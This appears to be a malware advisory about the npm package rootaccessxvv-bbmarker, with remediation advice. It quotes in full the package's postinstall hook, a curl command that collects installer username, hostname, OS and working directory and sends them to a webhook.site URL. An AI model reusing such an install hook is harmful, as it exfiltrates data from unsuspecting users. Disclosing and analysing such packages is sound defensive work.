Its `postinstall` hook runs on npm install: `curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv" || true`. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to `https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof`. The npm account `mohamed2343224` published it on 2026-10-18. --- _-= Per source details.

The script shells out to `whoami`, `hostname`, `uname`, and `node -v`, concatenates the output with the current working directory, and sends the result via `curl -X POST`. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled. ## Source: ghsa-malware (73760163626a2b65c41c758597a6a063e7d0aa9a89659b9990b93e35d63b4a33) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
